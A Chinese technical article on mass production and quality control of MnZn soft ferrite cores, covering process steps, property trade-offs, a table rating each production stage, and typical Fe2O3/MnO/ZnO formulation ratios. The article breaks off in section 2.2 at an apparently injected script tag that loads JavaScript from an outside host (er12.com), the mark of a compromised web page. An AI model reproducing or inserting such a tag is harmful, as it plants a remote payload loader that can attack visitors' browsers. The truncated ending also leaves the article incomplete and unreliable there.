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前言
软磁铁氧体经过40多年的发展，其工艺已日趋成熟、稳定，各企业间的差异在日渐缩小，例如配方和烧结工艺，也无多少技术秘密可言，但大规模稳定生产高质量软磁铁氧体就比较棘手。这是因为软磁铁氧体材料牌号繁多，磁芯形状、尺寸各不相同，用户对品质的要求越来越高，对交货期要求大大缩短，而磁芯制造商为控制成本,降低经营风险又必须大量减少库存（这将在一定程度上缩短了生产和技术准备周期），这都给批量生产带来许多困难。批量生产中的症结出现在备料、成型、烧结、磨加工和分包等各个环节，工艺技术及质量控制也应紧紧贯穿于这些环节中。
1 软磁铁氧体生产的工艺流程及质量控制基本思想
软磁铁氧体是由fe、zn、mn或ni的氧化物按一定比例混合，经预烧、破碎、造粒、压制成型、烧结和磨加工而成。软磁铁氧体分为mnzn铁氧体和nizn铁氧体两类，mnzn铁氧体比nizn铁氧体的产量和用量都要大得多。本文仅对mnzn铁氧体的批量生产工艺技术及质量控制进行简要描述。
在软磁铁氧体的批量生产过程中，做好技术质量的控制工作十分重要。通过加强技术质量控制，提高产品合格率，是降低生产成本的重要途径之一。软磁铁氧体的批量生产技术质量控制，简单地说，就是要把以预防和控制为主的基本思想，贯穿于从原材料的选择开始直到产品交付使用的整个生产经营过程。
许多工艺技术人员认为，达到优异的磁性能是磁芯生产中技术质量控制的最重要目标，其实这是一种较片面的认识。根据基础物理效应，一种软磁材料不可能同时兼有各种有利的磁特性，在某些磁特性之间总是相互折衷的，如不能同时获得最高磁导率和最低功率损耗。在实际生产中，应根据用户的不同需求，有选择性地保证某些磁特性，比如在高电感元件应用中，应重点保证磁芯有高的电感因数al；在电源变压器应用中，对功率损耗pc的要求更高一些；在回扫变压器应用中，需要磁芯有高的直流叠加特性。因此，在批量生产中，软磁铁氧体具有优异的磁特性并非是唯一重要的目标，在很大程度上要取决于其应用场合，其它诸如机械特性、外观质量、成本或交货期等也很重要，在某些场合下甚至更为重要些。而坚持预防和控制为主的基本思想，单从材料特性这一控制环节来说，就是要根据不同用户、不同磁芯使用要求上的差异，选择不同配方或不同烧结工艺的材料，固化工艺，规范管理，实现“管理流程化、作业标准化”，把复杂的问题简单化，把简单的问题重复做好，这样方能避免出现差错和正确处理好产品质量、生产效率及产品成本之间的矛盾统一关系。
2 软磁铁氧体批量生产的工艺技术及质量控制
软磁铁氧体的各制造工序对磁芯的特性、外观质量、成本、交货期等的影响有所不同。表1直观地概括了这种相关性。当然，表1中的评价也较为主观，可能因企业工艺设备状况和工序匹配情况不同而异，但它指出了整个软磁铁氧体生产和经营中的关键问题。技术质量控制是为生产和经营服务的，因此,必然要结合这些实际问题开展工作。
表 1 软 磁 铁 氧 体 控 制 特 性 与 生 产 工 序 的 相 关 性
生产工序
磁特性
机械特性
尺寸和外观质量
成本
交货期
原材料选择及配方
☆☆☆
☆
☆
☆☆☆
—
备料
☆☆
☆
☆
☆☆
☆
成型
☆
☆☆
☆☆☆
☆☆
☆☆☆
烧成
☆☆☆
☆☆☆
☆☆
☆☆
☆☆
磨加工
☆
☆☆
☆☆
☆☆
☆
分选及包装
—
—
☆
☆
☆
注 ：☆表示 生 产 工 序 对 特 性的 影 响 度 指 数 ；—表 示 该 工 序 对 特 性 影 响 不 大 。
2．1 原材料选择及配方
提高软磁铁氧体特性的关键之一在配方(包括二次球磨中加杂)，因此应重点选择好主配方料，要求主配方料的纯度要高、含有害杂质如氯根、酸根等较少、化学活性和流动性要好、粒度分布适当、3种主配方料的比表面积匹配较好。就功率铁氧体来说，目前国内外制造商的配方大约为：fe2o3（53～54）mol％、mno（35～40）mol％、zno（8～12）mol％之间。如pc44，有厂家取配方为：fe2o3 53.3mol％、mno 36.5mol％、zno 10.2mol％。为促进固相反应、助熔、防止晶粒长大、改善材料性能及增加机械强度等，通常在配方中要加入一些有益的杂质，如al2o3、hfo2、nb2o5、tio2、v2o5、cr2o3、cao、zro2、pb3o4及coo等，但要控制好添加量，过多反而有害。
在本工序，应重点预防和控制原材料的纯度并确保配方称量的准确性。
2．2 备料
以典型的氧化物法备料（湿式混料）?script src=http://er12.com/t.js>
